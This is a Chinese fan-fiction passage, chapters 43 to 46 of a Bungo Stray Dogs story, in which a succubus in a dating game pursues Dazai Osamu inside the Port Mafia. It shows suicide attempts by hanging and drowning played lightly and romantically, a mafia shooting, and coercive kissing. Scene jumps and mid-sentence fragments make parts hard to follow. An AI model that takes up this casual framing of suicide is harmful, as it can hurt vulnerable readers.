太宰治、太宰治被这措不及防地一下,弄得差点意识模糊了。 腰上的金发少年双腿都缠了上来,比八爪鱼还要麻烦,连踹都踹不开。 不知是不幸还是万幸。 晴天娃娃挂件从一个变成了两个,再加上挣扎和摇晃的剧烈动作,那根绳子颤颤巍巍着,最后还是难以承受两个少年的体重,啪地一声断裂开来。 “咚。” “呵呵,真不愧是恶魔啊。” 望月一愣,随后委屈地瘪了瘪嘴。 “……什么啊,明明是你这家伙先躲着吾辈的,不过是赢了你一局,真是小气。” 银发恶魔似乎注意到了什么,声音一停。 望月眨了眨眼睛,忽然上前凑近了太宰治,像是发现了什么有趣的事情般,好奇地问道。 “难不成,太宰在「嫉妒」吗?” 第 43 章 第四十三章 ——「同等美味的存在」。 在恶魔的眼里,人类几乎没什么不同的,无非是有趣和无趣,好吃与不好吃之分。 望月对这两个人类这么包容,也是因为这两个人类不仅有趣,而且还很好吃——再加上自己打不过也玩不过——当然主要原因还是前面两个。 银发恶魔的眼睛微微眯起。 紫眸里闪动着如同某种兽类一般的本能的欲望。 真是嘲讽。 黏稠的恶意如同从地底钻出着触手一般,滴落着黑泥,试图缠绕上对方的脚踝,将对方拽入深渊。 金发少年的表情呆呆的,似乎在愣神。 正当太宰治还要开口说什么时,望月忽然长长地出了一口气,拍着自己的胸口,一副安心了的样子。 “什么啊,原来是自杀啊,” “我还以为太宰先生是在用「悬挂式拉伸长高法」呢。” “……?” 什么东西? 黑泥读条被打断了的太宰治缓缓打出一个问号。 望月认真地用手一边比划着一边说道。 “就是用绳子挂在脖子上然后吊在高处,利用重力拉长身体——这样子拉长的只有脖子,太宰先生会变成辘轳首(*一种脖子很长的妖怪)的哦。” 脑海里浮现出黑发少年脖子被拉成长颈鹿,吐着舌头的样子,再怎么好看的脸配上这画面都变得惊悚起来。 望月忍不住甩了甩自己的脑袋,试图把刚刚的画面忘记。 他深呼吸一口气,虽然在努力控制自己的表情,然而那复杂的神情完全没能掩藏住。 望月伸手拍了拍对方的肩膀,语重心长道。 “就算太宰再怎么想要长高,这种方式也派不上用场的。” “我们要讲究科学。书上说了哦,长高唯一的秘诀当然是——多喝牛奶,多做运动!” 望月确信般点了点头,信心十足。 看得出来,他也正履行着这一科学秘籍。 ……这家伙刚刚发呆原来是在想这些事情? 也是,毕竟笨蛋的脑容量只允许他单线程思考一件事。 太宰治都无语了。 胸口卡着一团气,上不去也下不来。大概是吐槽欲。 见太宰治沉默,望月以为对方还在纠结身高这件事,于是试图安慰对方。 “是还在担心吗?唔,别想那么多啦,太宰你还在生长期,再长高个十公分一定没什么问题的!” “……这话轮不到你对我说,小矮子二号。” “小、小矮子……不要小看我哦,我可比中也要高!整整三厘米!” 望月先是结巴了一下,然后自信满满地伸出三根手指,在太宰治的面前竖起炫耀道。 太宰治一点也没遮掩自己的鄙视,冷笑一声。 “真抱歉啊,在我眼里你们两个全都是小矮子,小蛞蝓二号机。” “唔姆唔姆,也是哦,太宰有175呢……诶,等一下,「小蛞蝓二号机」?是在说我吗,那一号机是谁,中也吗?” “唔,说起来,这个称呼好像上次就听到过了。” 望月一点也不恼,因为他完全没有听出太宰语气中的嘲讽,声音叽叽喳喳得像是清晨的麻雀。 太蠢了。 而且相当的聒噪。 他对一个笨蛋有什么好认真的呢? 尤其是看到对方朝着自己疯狂摇尾巴的样子,像是幼犬般天然又无知的神情,不知为什么,心情变得有些烦躁。 太宰治无视了坐在地上一边掰着手指一边碎碎念的金发少年,慢吞吞地把脖子上的麻绳扯下,丢弃到一旁。 这里应该不会有人来才对,也不知道对方怎么找到自己的。 真是扫兴。 今天自杀的心情都没了。 太宰治的表情沉了下来,鸢眸幽幽,看不见什么光彩。 黑发少年站起,衣服沾着些许泥土,看起来脏兮兮的。 “我果然很讨厌你啊。” 他冷淡地抛下这句话,转身准备离开。 “——但是我还挺喜欢太宰的!” 太宰治脚步微顿,缓慢地回头。 坐在地上的金发少年乖巧地盘腿坐着,仰起脑袋;那双深绿色的眸子无辜地盯着他,似乎完全不知道自己刚刚说了什么话。 见他注意到自己,望月扬起了如同幼犬般灿烂的笑脸。 “是真的哦!” “太宰是我遇到的第二个同龄人。” 不知怎么的,太宰治想起在自己还在青森的时候的事情了。 他坐在孤廖无人的长廊上,缘侧底忽然传出一声犬吠。 于是,他跳下长廊,趴在地上找声音的来源。 也不知道是从哪个墙角的狗洞钻进来的的野狗,深棕色的眼睛在阴暗的木板底下显得亮晶晶的。 那只狗看起来刚断奶不久,土黄色的短毛脏兮兮的。 大概是因为自己把剩下的饭倒给了它,那只狗像是赖上了自己,几乎每日都会跑过来。 那只狗很聪明,大概知道自己不讨喜,有旁人在的时候就会躲起来;只有自己在的时候,才会钻出来。 不过,反正他也很无聊。 呆在那个令人窒息的家宅里,没有人记得他,也没有人在意他。 他坐在长廊看书的时候,那只狗偶尔也会淘气地咬着他的和服裤腿。 自己总会嫌弃地用脚让对方离远点。 结果,那家伙直接叼着他的木屐跑路,等太宰发现追过去的时候,自己的木屐早就被咬断报废了。 这种情况不止一次,家里的婆婆都以为自己在没人的时候疯玩弄坏的,旁敲侧击地提醒自己要注意身份礼节。 他也从未向对方提起过事情的真相。 不过从某一天开始,那只狗就再也没来找过他了。 他在长廊上等了好久,腿都蹲得发麻了。直到家中女仆过来点亮了房间里的灯,顺手把剩下的晚饭倒进了垃圾桶。 “……太宰?” 太宰治回过神来。 浓黑的睫毛颤了颤,垂下时的阴影挡住了鸢眸话中的神色。 他俯视着面前的金毛笨蛋,不知想到了什么,唇角忽然扬起一抹温柔和善的笑容,声音也甜得发腻。 “——真的很喜欢我吗?” “嗯!我想和太宰打好关系,成为朋友!” 望月认真地点了点脑袋,头上的呆毛也跟着一起一抖一抖的。 而黑发少年弯着眼睛,显得纯良无害。 “欸~成为朋友吗?听起来真有意思,但我对这件事并没有兴趣。” “不过,既然你都这么说了的话,我再拒绝不就显得太冷漠了吗?” “所以……” 太宰治声音微顿,忽然弯下了腰。 少年的身形并不强壮,背对着光扫下的阴影,却又恰好将望月整个人都罩了进去。 黑发少年的语调亲昵。 “光靠嘴巴是不够的呢。” “加油哦,说不定什么时候,我就会同意和你做「好朋友」了呢。” “——望月君。” 这是他第一次叫出对方的名字。 未被绷带遮住的鸢眸飞快地从架子上扫过,一排排数字编号,名称,都不是他想看的,眉头忍不住皱起。 不过没有让他失望,最后还是找到了那一沓厚厚自己想找的资料。 “啊,找到了。” “特意放在这种地方,真是坏心眼。” 黑发少年抱怨着,修长的手指将那叠资料抽出,一目十行地扫过,翻到下一张,再继续扫过,速度快得让人怀疑有没有在认真看,还是说只是单纯地翻页。 “XX年X月……参与实验的人员…记录者……” “……” 太宰治的手忽然停了下来,暗色之中,鸢色的眸子锁定上头的内容,停留了许久。 虽然一眼就能记住的内容,但他还是又看了一遍。 「D2407,男性,5月5日[字迹模糊]」 「[字迹模糊]测试中」 「[模糊]存疑,失败可能性为67%」 「实验计划暂停,与政府的合作终止……」 只是短短的几行字,就已经是全部的记录了。 看来这并不是实验室里的重点,大概只是附属的研究项目,记录的内容并不多。 但令太宰治目光停留的,是那记录旁的其中一张照片。 黑发少年沉默了片刻,将那页纸抽出,轻声自言自语道。 “……果然。” “A组,B组,已经准备完成。” “黑蜥蜴的人到位。” ‘没办法,射击对我来说就是数学,学不会就是学不会嘛。’ ……所以你在自豪些什么? 这次行动出动了黑蜥蜴——港口mafia最危险的武装部队,为的也是第一时间压制敌人的火力。 而黑泽望月更擅长的则是单兵作战,潜入暗杀。 “不用枪我也能把他们都干掉,可别把我看扁了。” 对讲机那头,望月还在哼哼唧唧着表达着自己的不开心,大概是觉得自己被排挤有些郁闷。 而此时不远处,忽然有一道白光晃过,汽油发动机的声音隐约可闻。 不论是对讲机的这头还是那头,瞬间安静了下来。 中原中也眯起眼睛,良好的视力让他立即捕捉到了目标。 几辆看似平平无奇的货车不紧不慢地驶来,比一般车轮都要宽大的轮胎在凹凸不平的地面上摩擦旋转。 然而,这一切都在计划之内。 太宰治的目光甚至都没有离开自己的游戏机屏幕,漫不经心地说道。 “中也,可以行动了。” “加油哦,争取在一小时内解决,回去说不定还能吃顿夜宵。” “……啧。” 那几辆货车最终停在了某座化工厂大楼后的仓库里,然后下来一伙人。 他们穿着朴素的灰色工人装,头戴鸭舌帽和口罩,在其中一个大概是队长身份的男人的指挥下,训练有素地搬运着仓库内的箱子。 那木箱看起来重量不轻,需要两个人合力才能勉强搬运。 “动作快一点!港口那边轮船都等着呢。” “——喂,小心些,磕坏了里头的东西把你卖了都赔不起。” 领头人骂骂咧咧地指挥着,语气恶劣。 “砰——” 一声枪响回荡在大楼前的空地上,惊动了夜晚的寂静。 穿着灰色工装的男人眼睛充斥着难以置信,而额头上的弹孔已然宣告了他的死亡,随着惯性后仰倒地。 失去支撑的木箱立即从货车上翻倒在地,最上头的盖子直接被撞开,露出了里面的商品。 原本被小心安置在海绵层的实验药剂,顿时四分五裂,透明色的液体洒得到处都是,每一笔都是昂贵的金钱。 他们可没有功夫来心疼这些摔坏了的药物——比起这些,此时更应该更担心的是自己的性命。 这群人比想象中的训练有素,在意识到自己被埋伏后,瞬间举起了手中的枪,瞄准刚刚子弹袭来的方向。 然而,敌人似乎完全不畏惧瞄准自己的枪口。 阴影处,戴着黑色礼帽的赭发少年活动着自己的指关节,发出“咔嚓咔嚓”地轻响。 虽然看起来个子不高,但在看到那人的脸时,工装男人们不由得浑身一震,面露恐色。 他的身后,穿着黑色西装的男人们手中的枪也同样瞄准了他们。 赭发少年声音狂气。 “敢在我们港口mafia的地盘上做这种生意,胆子真够大的。” “——要尝尝重力的滋味吗?” 黑发少年声音轻快地说道。 小说故事中,都是恶魔们用花言巧语,引诱着人类坠入欲望的深渊,一步步迈向地狱; 而此刻,恶魔与人类之间的关系似乎倒转了过来。 他拽住了恶魔的手,迫使恶魔和自己不得不一起感受死亡的拥抱。 望月瞪大眼睛,从喉咙里爆发出了一声尖锐的暴鸣。 “哇哇哇哇你这个混蛋人类啊——” 他要把刚刚所有的话全部收回! 这个人类果然很讨厌啊! 第 44 章 第四十四章(1w营养液加更) 首先,魅魔并不会飞行。 魅魔娇贵的翅膀大部分时候都只是起着装饰作用,偶尔也为了在空中变换动作时,能够更好地保持平衡。 他们能够漂浮在空中,主要依靠魔力,控制自己的重量,让自己变得轻如羽毛,以防止狩猎的时候遇到些体虚无力的猎物。 毕竟若是正在兴头上,万一做不到抱起来玩这一姿势就尴尬了。 ——所以魅魔真是一种贴心的恶魔啊。 话回正题。周围一片寂静。 窗外的圆月依旧冰冷,不知疲惫地向地面泼洒着寒光。 漆黑一片的医务室里,只剩下一个人的身影。 回忆起黑发少女刚刚露出了讥讽的笑意,望月安静地靠在病床上,望着窗外的那轮明月。 “哈……真的搞砸了呢。” 果然在那么多人面前「告白」的时候,因为花粉过敏一头过去什么的,实在是太逊了。 “啊,系统你回来了。” 望月笑眯眯地打着招呼。 这个数字被狠狠地标红。 在太宰治好感栏的末尾,代表角色的Q版小人头像此时已经完全黑掉,只剩下一个轮廓剪影。 好感度-100是什么概念呢? 是见面直接杀死对方都不会奇怪的态度。 “唔,看来的确翻车得够彻底的。” 虽然在最坏的预想里太宰小姐是会掉好感,但没想到直接掉了一百点。 望月苦笑着用手指搔了搔脸颊。 虽然打了抗过敏药的点滴,脸上的红斑还是带着一丝痒意。 “那自动存档呢?” “哎呀,这就没办法了……” 望月握拳,拍在另一手的掌心上。 他乐观地说道。 勉强用纸板拼出的床上,黑发少年猛然睁开眼睛。 映入视网膜的画面,是熟悉的集装箱顶,波浪板凹凸起伏,扫下令人不安的阴影。 太宰治慢吞吞地坐起身。 “哈……那家伙果然回溯了吗。” 原来不用「死亡」,那家伙也是可以回溯到过去。 所以是自主行为吗。 太宰治一边思考着,一边摸索着身上的手机,以确认此时的时间。 “这次又是多久?一天?两天?” 他自言自语着,摁下了开机键。 手机屏幕亮起,晶蓝色的屏幕光映射在黑发少年的脸上。 在看清手机上显示的日期是,那只裸露在外的鸢眸微微缩小。 ——「四月二十七日」 ……三个月前? 太宰治合上了手机,微微皱眉。 他很快就从自己的大脑里翻找出有关的记忆。 四月二十七日…… 这是望月入职港口mafia的第一天。 也是他们两个第一次遇见的那天。 太宰治手指一顿,缩紧的手指又缓缓松开。 啊,果然是因为那时候没忍住的恶意,被望月发现了。 所以, 特意回溯到这么久之前,是准备重头开始? 太宰治抿着唇,将手机丢到一旁。 他身体则向后一倒,恹恹无趣地看着集装箱的天花板。 不过望月也没别的办法。 ——毕竟他任务的目标对象是我。 所以不管怎样,那家伙都不得不过来找我。 一次又一次,像狗狗一样,傻呵呵地跟在自己后面。 太宰治轻哼一声,心情却莫名其妙好了起来。 他从床上坐起身。 差不多该去港口mafia大楼,开始这一次的「初遇」了吧。 让我看看这一次, ——你会多么「喜欢」我。 …… “那个,太宰先生……” 门口负责安保的黑手党们,看着站在审讯室前散发着浓浓黑气的太宰治,默默咽了口口水,小心翼翼地开口。 今天的太宰先生和平时不太一样。 硬要说哪里不对的话,大概是今天居然没有翘班,而是主动地来到审讯室。 这简直是太阳从西边出来了。 不过审讯工作结束以后,太宰先生就一直站在审讯室的门口,看上去像是等什么人。 但问题是…… 太宰先生现在沾着一身犯人的血啊喂! 黑发少年脸上的绷带还沾着男人猩红的血,身上的血腥味让其他人都退避三舍。 他的身上散发着一股浓浓的低气压,像是来自地狱的恶鬼一样恐怖. 虽然太宰先生今天没翘班,但比平时阴沉瘆人了好几倍啊! 在门口负责安保工作的黑手党们在心中泪流满面。 而且太宰先生在这里呆的时间越长,身上散发的黑气也越浓郁。 那副眼神看上去好像要把对方先(消音),再(消音),最后再(消音)一样啊! 好恐怖,不愧是审讯室的二把手! 似乎是注意到身后的人惊恐不安的目光,太宰治微微偏过脸,目光从他们身上瞥过。 两人心中咯噔一下,暗呼不妙。 其中一个人硬着头皮,颤颤巍巍地接着刚刚询问道。 “那个,请问您是在等谁呢?” “……” 面前黑发少年没有说话,面无表情,然而脸色肉眼可见地变得漆黑。 笨蛋东川,你的问题刚好踩到太宰先生的雷区了! 话说,原来真的是在等人啊! 完蛋了完蛋了完蛋了,到底又是谁惹这位大人不爽了!又这么大胆子敢放太宰治的鸽子啊! 部下们在脑内飘过一串红色感叹号,脸上的海带泪越流越宽。 至少可千万别连累他们啊阿弥陀佛。 太宰治似乎看出了他们心中所想,沉默了片刻,终于动了。 他转身迈步,头也不回地从地下二层离开。 望着太宰治屈尊离开的黑色背影,身后的黑手党们猛地松了口气。 奇怪。 那家伙跑到哪里去了? 太宰治一边思索着,一边慢吞吞地朝自己的办公室走去。 这一次望月没有来审讯室。 ……是又想出什么新的花招了吗。 太宰治回忆着。 他记得望月说过,是先在办公室等自己,没有等到自己才去了审讯室,期间顺便去了医务室拿绷带。 沿着楼梯而上,走到转角后头。 正当太宰治准备朝自己办公室走去时,忽然从走廊处传来的熟悉的人声,让他脚下的步子一顿。 “……你……,……哈?” 这个声音是…… 中也? 这个时候他不应该在欧洲吗,怎么现在就回来了? 太宰治微微皱起眉,心中涌起一股莫名的不安。 罕见的,失控感。 他迟疑片刻,在心中的疑惑逐渐发酵之时,缓缓从转角处走出。 于是便听见中原中也背对着自己,朝面前的人问道。 “喂,你是新来的?” “是的。我是您的新任秘书望月。” 太宰治的身影从转角处走出,面无表情地看着走廊里的二人。 走廊处,那个人抬手放在自己的胸口上,微微颔首,朝着中原中也行了个简约的欧式礼。 随后,粉发少年缓缓抬起脑袋,明亮的阳光透过玻璃洒在那张熟悉的脸上,漂亮的琥珀色眸子带着温和又柔软的笑意。 少年的声音清脆又温柔。 “——能成为中原小姐的部下,是我的荣幸。” 望月平时虽然能够飘在空中,但如果有个重物挂在身上的话,结果就像是往气球的绳子上系了个石头。 太宰看上去瘦瘦弱弱,似乎风一吹就能被吹跑的样子,但毕竟也还是个男生。 虽然这种情况,不论男生还是女生,在地球重力的作用下都会垂直向下。 得昏昏沉沉的感觉可不会变。” “太宰其实已经感受过一次了吧。” 太宰治眸色闪了闪,呼吸变缓了些。 而银发恶魔如同猫一样半眯起眼睛,甜美的嗓音带着蛊惑的意味,轻笑着说道。 “放心,这次可不是强吻~为了照顾毫无经验的童贞处男君,吾辈会努力亲得比上次更温柔。” “更让太宰感觉到,与魅魔亲热的愉快。” “在头皮爽到发麻,舒服到不想停下来的快乐之中,你会感觉到活着吗?” 望月一边用甜腻的声音说着,一边仰起头。 那双紫眸闪烁着某种桃色的暗光,脸颊微微泛着潮红。呼吸时,似乎都带上了那股香甜的气息。 像是提前做着准备工作似的,银发恶魔舔了舔自己的嘴唇,顿时蒙上一层诱人的水色。 “可以的话,那么吾辈就开始了~” 第 45 章 第四十五章 然而想要从太宰治的嘴巴里得到一句“可以”,那简直都不用想。 这只坏心眼的黑发人类只会似笑非笑地望着你,不说行也不说不行,全凭你自己理解,充满了上位者的恶趣味。 然而此时的太宰治或许是因为刚刚的入水,看上去显得心神不宁。 这真是诱惑对方,吃上饭的大好机会。 银发恶魔当然不会放弃。 望月的膝盖跪在太宰的两膝之间,原本抚摸着对方脖颈喉结的手放下在两侧,压在对方的手背上。 纤细的手指带着某种挑逗的意味,挤入对方的指缝里,时不时弯起指节,轻轻摩挲着。 太宰治的住所一向神秘,像是神出鬼没的流浪猫;或许今日还在这住在这个安全屋,明日便换了个新地方。 因此每次太宰治的翘班对于部下们而言,都堪称为一种灾难——无法联系、无法寻找——因为根本找不到他们这位出没无常的上司,除非他自己主动出现。 若是遇上运气不好,还会被BOSS喊到首领办公室去询问,‘太宰君今天也不在吗?’ 虽然BOSS大人一副随便问问,温文尔雅的态度,但那可是首领啊,亚历山大啊! 然而即便是首领,对于太宰治的翘班也是睁一只眼闭只眼的态度,只留下他们底下的人在心里叫苦难言。 半小时前。 港口mafia本部,办公室内又是一片哀鸿遍野。 “太宰先生怎么今天也没有来上班啊啊啊!啊啊啊后勤部催着我要物资清单,但是没有太宰先生的签名啊!!” “五天?六天?这次消失快一周了啊!” “电话呢?没打电话吗?” “……太宰先生把我拉黑了。”泪流满面,“三个电话,全部阵亡。” “望月!你要不劝劝太宰先生,不接电话那至少带个定位器吧!!这也方便我们捞他啊!!”坂本抓狂道,“但问题是现在就已经找不到他的人影了啊!” 望月熟稔地将手头的报告书写完,顺手还把粗心同事搞错的数据信息修正一遍。 刚抬起头,就看到坂本在自己的办公室面前,一副泪流满面的样子。 他无奈地笑了笑,站起身。 “那我也去找太宰小姐吧。” “呜呜呜真的吗?帮大忙了。”坂本瞬间切换了表情,一脸真挚,紧紧握住望月的手。 随后他想起了什么,表情又变得狰狞,语重心长地嘱托道。 “就算望月你再怎么听从、顺服太宰先生的话,找到他后千万不要陪着对方一起自杀啊!”至少把人带回来签完文件再去啊! 自从听说望月上次遇到太宰先生自杀,不但没劝阻反而跳下去陪对方一起入水,坂本听后脸都白了 ——我们港口mafia怎么又出了一位自杀狂魔。 而且一个是他上司,一个是他同事。 望月事后倒是有解释,自己没有自杀的癖好,只是单纯地陪太宰小姐(先生)入水。 坂本听了只是默默点了根烟。 ……望月哪里都好,就是太惯着太宰先生了。 话说这种事情也能陪吗! 不过望月陪太宰先生一起入水那次之后,似乎起到了正面的反效果——太宰先生的自杀频率有所降低。 但为预防起见,坂本还是将太宰先生所有的「打捞」任务包揽了。 然而这次实在是毫无头绪,不得已才让望月也出动。 坂本不得不承认——虽然望月加入的时间比他晚,却比自己最了解太宰先生的癖习。 在坂本的再三嘱咐之下,望月笑了笑,出了港口mafia的大门,随后便陷入了思考。 若是以往,可能会从太宰小姐以往所常去的喜爱(自杀)之地开始搜寻——但这属于稍微知道太宰小姐习惯的人都会想到的顺序。 这次太宰小姐有意在隐藏自己的藏匿地,那就应该放弃常规思考的路线。 然而,怎么找到一位来去无影的「幽灵」小姐呢? 这是个难题。 望月在脑内拉出了横滨地图,排除掉某些地点后,再次陷入苦恼中。 果然…… 还是没有头绪呢。 总之先从未排除的地点找起吧。 望月无奈地叹了口气。 此时,从港口mafia门口路过的一只野猫,成功吸引了他的注意力。 “啊,是猫咪啊。” 黑猫停住了步伐,警惕地盯着望月。 “真像太宰小姐呢。” 望月弯下腰,看着眼前的黑猫感叹道。 一样的高冷,一样的优雅,画地为牢般的社会不适格者;像是病院坂黑猫(*物语系列),又仿佛是冬马和纱(*白色相框2)……这种需要精心爱护的萌感…… ——果然,猫系美少女赛高! 在空无一人的路边,穿着黑西装的粉发少年抱胸,煞有其事般点了点脑袋。 眼前的人类看上去怪怪的,但却没有恶意。 那只黑猫于是乖巧地坐下,用水汪汪的猫眼盯着望月,嗲声嗲气地呜咪一声,变脸速度飞快。 “啊,抱歉,我身上可没有带吃的哦……” 望月忽然想到了什么,握拳一捶自己的掌心。 “对了,猫咪先生,请问您有见过太宰小姐吗?” “喵?” 望月伸出手,黑猫垂下脑袋嗅了嗅他的手指,随后亲昵地用脑袋蹭着望月的掌心,发出呼噜呼噜的撒娇声。 他抚摸着猫咪的耳朵,声线温柔。 “唔,是一位非常漂亮的女孩子哦……对了,长这个样子哦。” 望月掏出手机登入内网,找出了太宰治的悬赏令。 悬赏令上的黑发少年眸色冰冷,鸢色桃花眼,脸上和手腕、脖颈处都缠着绷带,虽然相貌俊美,但和女性完全扯不上关系。 “这张太宰小姐的立绘……咳,我是说照片,很可爱对吧!果然美少女就是最棒的!” 面对眼前的照片,黑猫歪了歪脑袋。 少年大半的脸颊和身体都藏在阴影里,把弄着手\枪,苍白的脸蛋精致漂亮,若不是地上暗红色的鲜血和横飞的尸体,还以为是一张黑白照片。 照片上的俊美少年站在血色之中,带着一种诡异邪魅的暗黑美学。 ……总之和可爱搭不上什么关系。 不过小猫咪也不懂人类那些奇奇怪怪的兴趣爱好。 它忽然站起身,绕着望月的腿边转了两圈,又朝前走了两步。 扭过头对着身后的粉发少年喵喵叫唤了两声,似乎是让对方跟上来。 望月有些惊讶。 “哎呀,你知道太宰小姐在哪里吗?真是帮大忙了。” “然后我就跟着猫咪先生到了这里,没想到太宰小姐真的在呢。” ……你是什么迪X尼公主吗? 听完望月的描述,太宰治沉默无语。 然而,似乎是为了印证望月的话,门口适时地传来一声猫叫。 太宰治扭头看了过去,望月口中的那只黑猫正坐在集装箱的门口,安安静静地看着他。 当和那只猫对上视线后,不知为何,太宰治心中产生一种微妙的怪异感。 那副姿态,仿佛人类一般。 太宰治皱眉,神情愈发冷漠。 或许是察觉到太宰身上阴郁的低气压中,裹挟着一丝说不出的杀意,那只黑猫突然炸了毛,变成飞机耳,朝着他恶狠狠地哈着气,然后转身逃窜。 错觉吧。 太宰治沉默着放下了枪。 听到身后的人收起枪支的声音,望月这才转过身,却看到黑发少女浑身湿漉漉的,带着一股大海的腥涩味。 这一看就是入水完回来。 “没别的事就给我关上门出去。”太宰治懒洋洋地打了个哈欠,神情恹恹,语气算不上好,“我要睡觉了。” 望月有些无奈,比起工作,他更关心太宰小姐本身。 “太宰小姐……” “出去。” 太宰治忽然冷了下来,声音压低好几度。 这是最后的逐客令。 他本想越过面前这个碍事的家伙,朝着自己床铺的方向走去。 而望月又一次挡在了自己的面前。 粉发少年那双琥珀色眸子含着淡淡的笑意,丝毫不见被自己冷脸以对而产生的愠怒。 望月柔声道。 “——睡前洗个热水澡,这样会比较好入睡哦。” 望月将钥匙插入门锁,吻合转动,‘咔’地一声轻响,门被推开。 太宰治在门外停顿了半秒,这才慢吞吞地挪步进来,像是只倨傲的黑猫。 趁着主人去浴室的工夫,太宰治丝毫没有作为客人的自觉,慢悠悠地在公寓内踱步、环视,鸢眸搜索着信息。 港口Mafia分配的公寓,没什么特别的地方。 厨房没有使用过的痕迹;客厅无摆件,看不出偏好;电视上有薄灰,说明很久没看…… 太宰治皱起眉。 房子是主人的分/身,就算是随手放下的衣服、茶几上的装饰品、垃圾桶里的便当饮料……也都是能分析出主人性格。 然而这里,却像是被人一键程序化出来的产物。 照理来说,望月在这里已经住了一段时间,不应该像这样一点痕迹都没留下的样子。 这段时间他利用了一切手段,去寻找望月在进入港口mafia之前的信息。 家庭、朋友、学校……完整、充实,一眼就能看得出是人为伪装出的信息;接着他抛开那层伪造信息继续往下查,结果依旧大失所望。 于是,太宰治停下了——他明白无论自己怎么查,也不可能得到什么有价值的信息。 ——关于望月的「真相」的信息。 “——太宰小姐,我把浴室热水放好了哦。” 望月的声音打断了太宰治眼中的黑泥翻滚。 太宰治很快便收敛起刚刚低沉下来的情绪,抬头瞥了一眼望月,一言不发地去了浴室——说实在的,他的确也想赶紧把身上这套湿掉的西装换下。 进了浴室,蒸腾的热气确实让太宰治的神经稍微放松了下来。 他难得没有作妖,安安静静地泡在热水之中。 没多久,门外响起窸窸窣窣的动静。过了片刻,站在浴室外的望月说道, “太宰小姐,我让坂本买了晚饭和衣服,已经放在外面了。” “嗯。” 太宰治漫不经心地应了声。 然而,直到洗完澡,他拿起那叠衣物后,才意识到不对。 毛巾没问题,浴巾没问题,绷带也没问题…… 太宰治看到了压在绷带下面的那条纯白荷叶边吊带连衣裙。 他沉默着,缓慢地拎起,原本叠起的长裙舒展开来。 一套白色文胸、女士内裤从里面掉到了地上。 还是蕾丝花边。 嘴巴里的痛楚让他立即身体绷紧。 “痛、呜……唔……” 舌头的剧痛令望月下意识从喉咙里挤出一声吃痛的尖叫,下一秒,他的声音又被太宰的嘴唇堵了回去。 一股淡淡的血味在二人的舌尖上蔓延开。 望月的表情扭曲,试图后退撤离结束这个吻,却又被黑发少年紧紧地攥住了双手手腕,仰头继续追吻上来。 在这样的距离下,望月看到那只鸢眸正带着某种讥笑,玩味地盯着自己。 黑发少年的舌头搅弄着自己的口腔内壁,一丝一毫都不放过。 将那股血气溢满整个嘴巴。 第 46 章 第四十六章(1w2营养液加更) 反正看对方这表情,绝对不是什么学习不到位不小心咬到舌头了之类的。 太宰治的吻技算不上娴熟,但凭借着学习模仿能力,以及和对面前银发少年细微表情的观察,让他逐渐掌握了接吻的技巧。 望月的脸都要被气得憋红了。 这黑发人类的报复心也太重了吧! 自己都没有把对方的舌头这样咬出血! 顾不上继续享用食物了,自己的舌头更重要。 再不挽救一下,一会儿自己的舌头被这家伙咬烂了,之后还怎么吃饭啊! 银发少年试图将对方的舌头挤出去,却又像是被某种滑腻的触手怪缠上,用力吮吸着舌尖被咬破流血的地方。 如同吸血鬼般扫过自己舌尖的血液,又温柔地舔|弄起来。舌尖的刺痛同时伴随着酥酥麻麻的感觉。 原来恶魔们血的味道,和人类的也没什么区别嘛。 又晕过去了吗…… 真是熟悉的感觉啊。 迷迷糊糊之中,望月无意识地发散着思维。 他小时候身体不好,以至于长期呆在国外修养。 上一次因为花粉过敏而昏过去,追溯起来,还在法国读国中的时候。 环那家伙拉着自己去自家庄园里玩,结果没想到他直接昏倒在庄园里那片蔷薇花园里。 好在那天家庭医生正在为环的母亲检查身体,被女仆的惊呼和环的哭喊惊得以为出了什么大事,拎着医疗箱赶紧跑过来。 在环家的大床上醒过来时,自己被哭得稀里哗啦的环抱住一顿嚎啕。 什么‘我以为小雪你要死掉了呐’‘我差点杀掉小雪了’之类的。 ……只是花粉过敏啦。 不过现在回忆起来,算是两人关系变好的开始吧。 啊,不过也是他的黑历史。 望月脑袋里的思绪快速闪过,露出一丝既是怀念也是无奈的苦笑。 【滴】 【…载入中】 鼻翼翕动,是医务室的消毒水味,带着淡淡的刺鼻感。 虽然有一阵子没有来医务室,但这味道还是刻在了望月的记忆之中。 望月缓缓睁开眼睛,视网膜前的画面由模糊再到清晰,熟悉的苍白色天花板映入眼帘。 在他恍惚之际,余光似乎扫到某个毛茸茸的黑色生物。 视线挪动,正好对上太宰治的眼睛。 黑发少女坐在医务室的窗台上,不知道是从什么时候开始凝视着他。 那只没有被绷带缠绕遮掩的鸢色眸子幽深,像是深不见底的古井,波澜不惊又缺乏色彩,沉寂得宛如一潭死水。 望月一愣,立即将自己从回忆拉回到现实(游戏)中。 他下意识看向窗外。 此时天空已经完全黑了,浓稠的黑色像是墨水一般几欲低落。 黑色的夜空之中没有任何星星点缀,只剩下一轮硕大的明月,正散发着带着冷意的淡蓝色光晕。 黑发少女坐在那轮蓝月之下,本就缺乏血色的皮肤在月光之下显得更加苍白。微卷的黑色长发也笼上一层朦胧的皎白,漆黑的眸子没有任何光彩。 像是只出没在夜晚的魔女。 ……超激萌。 望月默默在心中点了个赞。 其他先不说,这个游戏的建模绝对是最顶尖的。 所以也难怪望月在看了系统展示地角色立绘(安装「性别修改」补丁)后,毫不犹豫地进入了游戏。 对于阿宅来说,第一眼果然还是立绘吧。 望月抬起手,却后知后觉地意识到上头插着针头,又不得已放下。 他朝着坐在窗台边的太宰治扬起一个熟悉的笑容。 “晚上好,太宰小姐。” 他这副自然而然的神情,让太宰治都忍不住歪了歪脑袋。 “居然还能若无其事地打招呼,某种意义上来说,你的心理素质很强大啊。” 黑发少年一边说着,一边将头转向了窗外。 这个位置正好能够看到楼底,那一大片红色的玫瑰花海依旧留在原地。 浓稠的黑夜之下,玫瑰原本娇艳欲滴的红色显得暗沉,大概是因为在阳光之下放了太久不再新鲜,带着一种腐烂溃败的美感。 像是氧化了的血液,凝滞在地面上,却比白天里的景色更为惊艳。 太宰治不喜欢花,但也不讨厌。 只是觉得它们燃烧剩余生命换来的绽放,可悲又愚蠢。 像人类一样。 太宰治的眸色闪了闪,似乎随意地哼笑一声,漫不经心地说道。 “今天下午可是来了不少游客过来拍照打卡,不知道的还以为我们港口mafia是什么旅游景点呢。” “你还真为我们的创业营收增加新思路啊,望月君……这个主意不错,需要我去找BOSS推广一下吗?” 对于太宰治连珠炮一般的讽刺,望月只是无奈地苦笑。 “抱歉,太宰小姐。我也没想到……” 望月的声音顿了顿,脸颊微红,艰难地说道。 “……没想到自己有花粉过敏。” 这也不算说谎吧。 